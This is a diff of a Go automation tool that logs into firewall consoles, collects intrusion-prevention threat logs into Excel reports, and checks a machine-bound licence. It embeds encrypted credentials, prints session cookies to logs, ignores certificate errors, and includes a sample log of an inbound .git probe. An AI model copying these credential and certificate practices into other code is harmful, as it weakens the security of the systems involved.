k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string), k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// // 获取插入操作的最后插入ID和受影响的行数
|
||||
// lastInsertId, err := result.LastInsertId()
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// rowsAffected, err := result.RowsAffected()
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// log.Printf("Last Insert ID: %d, Rows Affected: %d\n", lastInsertId, rowsAffected)
|
||||
// }
|
||||
}
|
||||
} else {
|
||||
//计算页数
|
||||
totalPages := int(math.Floor(float64(count_pages))/float64(200) + 1)
|
||||
for i := 0; i < totalPages; i++ {
|
||||
values := url.Values{}
|
||||
values.Add("xml", "<rpc message-id='101' xmlns='urn:ietf:params:xml:ns:netconf:base:1.0' xmlns:web='urn:ietf:params:xml:ns:netconf:base:1.0'><get-bulk><filter type='subtree'><top xmlns='http://www.unis.cn/netconf/data:1.0' xmlns:web='http://www.unis.cn/netconf/base:1.0' xmlns:data='http://www.unis.cn/netconf/data:1.0'><NTOP><LogPaging><Log><LogType>1</LogType><UserID/><ID/><TimeFilter><StartTime>"+dayStart.Format("2006-01-02T15:04:05")+"</StartTime><EndTime>"+dayEnd.Format("2006-01-02T15:04:05")+"</EndTime></TimeFilter><PageNo>"+strconv.Itoa(i+1)+"</PageNo><CountPerPage>200</CountPerPage><TotalCounts/><InputJSON>{"SrcZoneName":"yunwei","DestZoneName":"Trust"}</InputJSON><OutputJSON/></Log></LogPaging></NTOP></top></filter></get-bulk></rpc>")
|
||||
values.Add("req_menu", "M_Monitor/M_AtkLog/M_ThreatLog")
|
||||
//请求头信息
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"referer": "https://11.1.68.146/wnm/frame/index.php",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
//获取当天每页数据
|
||||
daydata := conn.DT_POST("https://11.1.68.146/wnm/get.j", header, bytes.NewBufferString(values.Encode()))
|
||||
for _, k := range Date_v(daydata).NTOP.LogPaging {
|
||||
// log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
// IP := conn.DT_GET("http://ip-api.com/json/"+k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string)+"?lang=zh-CN", nil, nil)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(con - 1)) // 第一列 (A1)
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestZoneName"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string))
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64))
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["ThreatName"].(string))
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string))
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string))
|
||||
sheet.Cell("K" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Application"].(string))
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["CVE"].(string))
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpHost"].(string))
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string))
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// sheet.Cell("P" + strconv.Itoa(Con)).SetString(Date_get(IP).(map[string]interface{})["country"].(string) + "." + Date_get(IP).(map[string]interface{})["city"].(string) + "/" + Date_get(IP).(map[string]interface{})["isp"].(string))
|
||||
log.Printf("开始插入%s数据:%d %s", dayStart.Format("2006-01-02T15:04:05"), con, k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
// 调用ExecuteSQL函数执行插入操作
|
||||
//查询数据库中是否有重复数据
|
||||
//查询sql 获取用户信息
|
||||
// rows, err := dbpool.QueryRows("SELECT `DT_TIME` FROM `dt_zgdz`.`dt_attack_event` WHERE DT_TIME = ?;", k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// defer rows.Close()
|
||||
// var timeStr sql.NullString
|
||||
// // var typecho_userss []string
|
||||
// for rows.Next() {
|
||||
// if err := rows.Scan(&timeStr); err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// // typecho_userss = append(typecho_userss, timeStr)
|
||||
// }
|
||||
// if err := rows.Err(); err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// if k.OutputJSON.(map[string]interface{})["Time"].(string) != timeStr.String {
|
||||
// //调用ExecteSQL函数执行插入语句
|
||||
// result, err := dbpool.ExecuteSQL("INSERT INTO `dt_zgdz`.`dt_attack_event` (`DT_ID`, `DT_TIME`, `DT_SRCZONENAME`, `DT_DESTZONENAME`, `DT_SRCIPADDR`, `DT_DESTIPADDR`, `DT_DESTPORT`, `DT_THREATNAME`, `DT_METHODNAMECN`, `DT_METHODSUBNAMECN`, `DT_AOOLICATION`, `DT_CVE`, `DT_HTTPHOST`, `DT_HTTPFIRSTLINE`, `DT_PAYLOAD`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?);", strconv.Itoa(con-1), k.OutputJSON.(map[string]interface{})["Time"].(string), k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string), k.OutputJSON.(map[string]interface{})["DestZoneName"].(string), k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string), k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string), strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64), k.OutputJSON.(map[string]interface{})["ThreatName"].(string), k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string), k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string), k.OutputJSON.(map[string]interface{})["Application"].(string), k.OutputJSON.(map[string]interface{})["CVE"].(string), k.OutputJSON.(map[string]interface{})["HttpHost"].(string), k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string), k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// // 获取插入操作的最后插入ID和受影响的行数
|
||||
// lastInsertId, err := result.LastInsertId()
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// rowsAffected, err := result.RowsAffected()
|
||||
// if err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// log.Printf("Last Insert ID: %d, Rows Affected: %d\n", lastInsertId, rowsAffected)
|
||||
// }
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
log.Println("没有数据")
|
||||
}
|
||||
|
||||
// 移动到下一天
|
||||
current = current.AddDate(0, 0, 1)
|
||||
}
|
||||
// 保存修改后的 Excel 文件
|
||||
if err := ss.Validate(); err != nil {
|
||||
log.Fatalf("验证文件时出错: %s", err)
|
||||
}
|
||||
log.Println("表格生成完成,保存文件:" + "政务网防火墙安全事件" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx")
|
||||
if err := ss.SaveToFile("政务网防火墙安全事件" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx"); err != nil {
|
||||
log.Fatalf("保存文件时出错: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func Date_get(jsonSter string) interface{} {
|
||||
var jsonstr interface{}
|
||||
err := json.Unmarshal([]byte(jsonSter), &jsonstr)
|
||||
if err != nil {
|
||||
log.Fatalf("JSON 解析失败: %v", err)
|
||||
}
|
||||
return jsonstr
|
||||
}
|
||||
|
||||
func Date_v(jsonStr string) *Person {
|
||||
var person Person
|
||||
err := json.Unmarshal([]byte(jsonStr), &person)
|
||||
if err != nil {
|
||||
log.Fatalf("JSON 解析失败: %v", err)
|
||||
}
|
||||
// 手动解析 InputJSON 和 OutputJSON 字段
|
||||
for i := range person.NTOP.LogPaging {
|
||||
logPaging := &person.NTOP.LogPaging[i]
|
||||
|
||||
// 解析 InputJSON
|
||||
var inputJSON map[string]interface{}
|
||||
err := json.Unmarshal([]byte(logPaging.InputJSON.(string)), &inputJSON)
|
||||
if err != nil {
|
||||
log.Fatalf("解析 InputJSON 失败: %v", err)
|
||||
}
|
||||
logPaging.InputJSON = inputJSON // 更新为解析后的数据
|
||||
|
||||
// 解析 OutputJSON
|
||||
var outputJSON map[string]interface{}
|
||||
err = json.Unmarshal([]byte(logPaging.OutputJSON.(string)), &outputJSON)
|
||||
if err != nil {
|
||||
log.Fatalf("解析 OutputJSON 失败: %v", err)
|
||||
}
|
||||
logPaging.OutputJSON = outputJSON // 更新为解析后的数据
|
||||
}
|
||||
// 输出结果
|
||||
// log.Printf("解析结果: %+v\n", person.NTOP.LogPaging[4].OutputJSON.(map[string]interface{})["SrcPort"])
|
||||
return &person
|
||||
}
|
||||
|
||||
type Person struct {
|
||||
NTOP NTOP `json:"NTOP"`
|
||||
}
|
||||
type NTOP struct {
|
||||
LogPaging []LogPaging `json:"LogPaging"`
|
||||
}
|
||||
type LogPaging struct {
|
||||
LogType string `json:"LogType"` //日志ID
|
||||
ID string `json:"ID"`
|
||||
UserID string `json:"UserID"`
|
||||
PageNo string `json:"PageNo"` //页数
|
||||
CountPerPage string `json:"CountPerPage"` //每页计数
|
||||
TotalCounts string `json:"TotalCounts"` //总条数
|
||||
InputJSON interface{} `json:"InputJSON"` //输入参数
|
||||
OutputJSON interface{} `json:"OutputJSON"` //输出参数
|
||||
TimeFilter TimeFilter `json:"TimeFilter"` //本次查询时间区间
|
||||
}
|
||||
|
||||
type InputJSON struct {
|
||||
SrcZoneName string `json:"SrcZoneName"` //源安全域
|
||||
DestZoneName string `json:"DestZoneName"` //目的安全域
|
||||
}
|
||||
|
||||
type OutputJSON struct {
|
||||
SrcPort string `json:"SrcPort"` //源端口
|
||||
DestPort string `json:"DestPort"` //目的端口
|
||||
Action string `json:"Action"`
|
||||
AttackCount string `json:"AttackCount"` //攻击计数
|
||||
SrcVrfIndex string `json:"SrcVrfIndex"`
|
||||
ThreatID string `json:"ThreatID"`
|
||||
Severity string `json:"Severity"`
|
||||
HddInfo string `json:"HddInfo"`
|
||||
Application string `json:"Application"` //应用协议
|
||||
ThreatName string `json:"ThreatName"` //威胁名称
|
||||
SrcRegion string `json:"SrcRegion"` //源区域
|
||||
DestRegion string `json:"DestRegion"` //目的区域
|
||||
ThreatType string `json:"ThreatType"` //威胁类型 {入侵防御}
|
||||
Time string `json:"Time"` //时间
|
||||
ContextName string `json:"ContextName"` //上下文名称
|
||||
Policy string `json:"Policy"` //策略
|
||||
Protocol string `json:"Protocol"` //传输协议
|
||||
SrcIPAddr string `json:"SrcIPAddr"` //源IP
|
||||
User string `json:"User"` //用户
|
||||
DestIPAddr string `json:"DestIPAddr"` //目的IP
|
||||
SrcZoneName string `json:"SrcZoneName"` //源安全域
|
||||
DestZoneName string `json:"DestZoneName"` //目的安全域
|
||||
CVE string `json:"CVE"` //漏洞披露
|
||||
MSB string `json:"MSB"`
|
||||
BID string `json:"BID"`
|
||||
RealIP string `json:"RealIP"`
|
||||
CapturePktName string `json:"CapturePktName"`
|
||||
HttpHost string `json:"HttpHost"` //host头
|
||||
HttpFirstLine string `json:"HttpFirstLine"` //请求路径
|
||||
Payload string `json:"Payload"` //请求数据
|
||||
MethodName string `json:"MethodName"` //方法名称
|
||||
MethodNameCN string `json:"MethodNameCN"` //方法名称中国(攻击类别)
|
||||
MethodSubName string `json:"MethodSubName"` //方法子名称
|
||||
MethodSubNameCN string `json:"MethodSubNameCN"` //方法子名称中国(具体攻击形式)
|
||||
LoginUserName string `json:"LoginUserName"`
|
||||
LoginPassword string `json:"LoginPassword"`
|
||||
}
|
||||
|
||||
type TimeFilter struct {
|
||||
StartTime string `json:"StartTime"`
|
||||
EndTime string `json:"EndTime"`
|
||||
}
|
102
attackevent/hw_fw1_cookie.go
Normal file
@ -0,0 +1,102 @@
|
||||
package attackevent
|
||||
|
||||
import (
|
||||
"dt_automate/conf"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_fw1_cookie() string {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.2.68.146/", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(3000)
|
||||
//输入
|
||||
if err := page.Locator(`#user_name`).Fill(tool.KeyStr("l3cfrZe8ATdOBb/JEdgNDeptlUXcmD6+k0E3+mHqf5/hlssLsTS8BIwui0SVzbVyYhjPiDjNYJof3O1t49763g3PgL/rlMiSrO477E9Lq2BEE4592nh4oPSl4jIeCMSJq/i/CBVOFs5rVEFT8gdQx2giaLoQcZUNhb5oat8gtMzKL/2dgfss7OUJI7Oxd8p/kinhDSvzWiKZwbQ0jlX41yNxfagc958NtJ6Tamh2vyijdP9IT4yswhJ1UdRCQyLda08sLm8pnuSUeppIVuy9g/mgN9CDmk1U1J7knBh/Y9GQ9itR/A3hjrt9UcgWFys0bzZhfDPeMdfq7+wdeSHD9g==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
if err := page.Locator(`#password`).Fill(tool.KeyStr("QauqFZ9fr31D5/v7pmCTTm0ZTeWfKSggXnGR4pyDhr31lAXJpaRwA+pMjmpeAucTKsDJ2TEnccqSk/GN5E0ExFq/A1VgKw12f+pVgR/00tNO9W42JiYDVMa1ssl+H3P3mNci+CeSCvY+sct/HxC+anv3BMk2xQavZP4+F5wF6gDdae7epvnOTkbmWDdkRz1SEIjh+Ffx/rI0Jj5TQxiWd+LA0JOODATgcf1olXpnLqtNCek89FTc7Hq9vXeWxMUVm6/ysyVQnAcWtn65z6OHecMdJ2PYoTs6yb7HKlkROooPVlOLEnajqGG14RzAelAjR+H0QghHK8WbzJmKlAI8Jw==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
//登录
|
||||
if err := page.Locator("#login_button").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(1000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
cookies, err := page.Context().Cookies("https://11.2.68.146/wnm/get.j")
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
var cookieStr string
|
||||
for _, cookie := range cookies {
|
||||
cookieStr += fmt.Sprintf("%s=%s;", cookie.Name, cookie.Value)
|
||||
// log.Printf("Cookie %d: %+v", i, cookie)
|
||||
}
|
||||
log.Println(cookieStr)
|
||||
// attackevent.Fw_event(cookieStr)
|
||||
conf.SET_Config_yaml("cookie", cookieStr) //临时存放数据
|
||||
// StartBlocker()
|
||||
return cookieStr
|
||||
}
|
102
attackevent/hw_zww1_cookie..go
Normal file
@ -0,0 +1,102 @@
|
||||
package attackevent
|
||||
|
||||
import (
|
||||
"dt_automate/conf"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_zww1_cookie() string {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.1.68.146/", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(3000)
|
||||
//输入
|
||||
if err := page.Locator(`#user_name`).Fill(tool.KeyStr("BV5kDMeBiV+32koO+yIo0w4MI1ZiTn4QrmD/4EPK1J7kXumFSJyNRiNxwBTQ8TbazscK1KMPFSJn7sUqdfnIy53E1Q/BBwxl6xcF8aLsHkkUiON1ghKkOdjN5QxsH6q85n/yviD9gAcixB0hSHu3jAwAehHn1rqd3oEhOrrBrn/5st2YDrsTOx4aeFE4OMB/goKizVXcIO5oXsTGbN7ip/xK8Lli4easA4bl3M73qAryGZ1f/7B3F8e8gE3nT6qLeYUBlMjJIpO9BD/IsluLjrHkx5uU8GpSjmiRfq6RAAmCCNleOiWWEtBEVk1HP7qbwasgFEFdozpYCd0T8P8yuw==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
if err := page.Locator(`#password`).Fill(tool.KeyStr("LcVHbSt29BTaMvK7DzBM//TcYvnRd6fjts4rMUxmmRB56UCZ1Sm0bR/87LFttuezWzoZbWgH1Q6JmqHSZmOWvvp7bNVCtWGSrs52YWrnEVK6SEwpohwVhLmgfBTxYWI7zZsph1yMfaDeejjqu5QzLuHcDor2A6i8xhrf7mlUhwIoc5p+4Z//cBocDgUrXcN1d6CTjwJwTYJfGa4jQKEv8glQYD5X3l6AjDv0osh1BQfKFnhxCALRXYrHP8OIbSYRAC4lyTli872AL3kwAH79UBKL5m2BixivgQZazsO2suUtjutvRgtBeqft3HYTNnhB8kxhUwNwx7rdSpJSWhaJLg==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
//登录
|
||||
if err := page.Locator("#login_button").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(1000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
cookies, err := page.Context().Cookies("https://11.1.68.146/wnm/get.j")
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
var cookieStr string
|
||||
for _, cookie := range cookies {
|
||||
cookieStr += fmt.Sprintf("%s=%s;", cookie.Name, cookie.Value)
|
||||
// log.Printf("Cookie %d: %+v", i, cookie)
|
||||
}
|
||||
log.Println(cookieStr)
|
||||
// attackevent.Fw_event(cookieStr)
|
||||
conf.SET_Config_yaml("cookie", cookieStr) //临时存放数据
|
||||
// StartBlocker()
|
||||
return cookieStr
|
||||
}
|
81
auth/util.go
Normal file
@ -0,0 +1,81 @@
|
||||
package auth
|
||||
|
||||
import (
|
||||
"dt_automate/dbpool"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
machine_code "github.com/super-l/machine-code"
|
||||
)
|
||||
|
||||
func auth_main() map[string]string {
|
||||
var auth_s dbpool.Douy_info
|
||||
if machine_code.Machine.BoardSerialNumber != "" {
|
||||
//查询sql 获取用户信息
|
||||
rows, err := dbpool.QueryRows("SELECT * FROM `douy`.`douy_info` WHERE serialNumber = ?;", machine_code.Machine.BoardSerialNumber)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
// var typecho_userss []dbpool.Typecho_users
|
||||
for rows.Next() {
|
||||
if err := rows.Scan(&auth_s.Mobile_phone_number, &auth_s.SerialNumber, &auth_s.Username, &auth_s.Initial_time, &auth_s.End_time, &auth_s.Surplus_time, &auth_s.Key, &auth_s.Status); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// typecho_userss = append(typecho_userss, users)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
// log.Println("查询到的结果:", auth_s)
|
||||
} else {
|
||||
log.Println("该设备未申请授权,该设备码为:", machine_code.Machine.BoardSerialNumber)
|
||||
}
|
||||
aa := map[string]string{
|
||||
"mobile_phone_number": auth_s.Mobile_phone_number.String,
|
||||
"serialNumber": auth_s.SerialNumber.String,
|
||||
"username": auth_s.Username.String,
|
||||
"initial_time": auth_s.Initial_time.String,
|
||||
"end_time": auth_s.End_time.String,
|
||||
"surplus_time": auth_s.Surplus_time.String,
|
||||
"key": auth_s.Key.String,
|
||||
"status": auth_s.Status.String,
|
||||
}
|
||||
// b, err := json.Marshal(aa)
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// log.Println(string(b))
|
||||
return aa
|
||||
}
|
||||
|
||||
// 授权状态
|
||||
func Auth() bool {
|
||||
key := tool.Keyprin(auth_main()["key"])
|
||||
if key.Status == "2" {
|
||||
a, _ := strconv.ParseInt(key.End_time, 10, 64)
|
||||
// b, _ := strconv.ParseInt(key.Initial_time, 10, 64) // 获取的不是当前时间
|
||||
duration := time.Unix(a, 0).Sub(time.Unix(tool.Timestamp("second"), 0))
|
||||
days := int(duration / (24 * time.Hour)) //天
|
||||
hours := int(duration % (24 * time.Hour) / time.Hour) //小时
|
||||
minutes := int(duration / time.Minute % 60) //分钟
|
||||
secod := int(duration / time.Second % 60) //秒
|
||||
if days <= 0 && hours <= 0 && minutes <= 0 {
|
||||
fmt.Println("电脑序列号:", machine_code.Machine.BoardSerialNumber)
|
||||
log.Printf("授权已到期,剩余时间:%d天 %d小时 %d分钟 %d秒", days, hours, minutes, secod)
|
||||
return false
|
||||
} else {
|
||||
fmt.Println("电脑序列号:", machine_code.Machine.BoardSerialNumber)
|
||||
log.Printf("授权未到期,剩余时间:%d天 %d小时 %d分钟 %d秒", days, hours, minutes, secod)
|
||||
return true
|
||||
}
|
||||
} else {
|
||||
fmt.Println("电脑序列号:", machine_code.Machine.BoardSerialNumber)
|
||||
log.Println("没有授权,请联系管理员")
|
||||
return false
|
||||
}
|
||||
}
|
BIN
bianma.crx
Normal file
BIN
cache/image_0.png
vendored
Normal file
After Width: | Height: | Size: 131 KiB |
BIN
cache/image_1.png
vendored
Normal file
After Width: | Height: | Size: 21 KiB |
BIN
cache/image_2.png
vendored
Normal file
After Width: | Height: | Size: 20 KiB |
BIN
cache/image_3.png
vendored
Normal file
After Width: | Height: | Size: 3.5 KiB |
BIN
cache/image_4.png
vendored
Normal file
After Width: | Height: | Size: 3.1 KiB |
BIN
cache/image_5.png
vendored
Normal file
After Width: | Height: | Size: 2.8 KiB |
BIN
cache/image_6.png
vendored
Normal file
After Width: | Height: | Size: 17 KiB |
BIN
cache/image_7.png
vendored
Normal file
After Width: | Height: | Size: 15 KiB |
BIN
cache/image_8.png
vendored
Normal file
After Width: | Height: | Size: 1.4 KiB |
34
ce.json
Normal file
@ -0,0 +1,34 @@
|
||||
{
|
||||
"NTOP":{
|
||||
"LogPaging":
|
||||
[{"LogType":"1","ID":"1766","UserID":"65538","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":33432,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":24881,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Git 客户端命令执行漏洞(CVE-2014-9390)\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T23:42:32\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"45.144.212.139\",\"User\":\"45.144.212.139\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"CVE-2014-9390\",\"MSB\":\"\",\"BID\":\"BID-71732\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80\",\"HttpFirstLine\":\"\/.git\/objects\/\",\"Payload\":\"GET \/.git\/objects\/ HTTP\/1.1\\\\0d\\\\0aHost: 121.30.199.80\\\\0d\\\\0aUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/76.0.3809.100 Safari\/537.36\\\\0d\\\\0aAccept-Charset: utf-8\\\\0d\\\\0aAccept-Encoding: gzip\\\\0d\\\\0aConnection: close\\\\0d\\\\0a\\\\0d\\\\0a\",\"MethodName\":\"Vulnerability\",\"MethodNameCN\":\"漏洞\",\"MethodSubName\":\"CommandInjection\",\"MethodSubNameCN\":\"命令注入\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
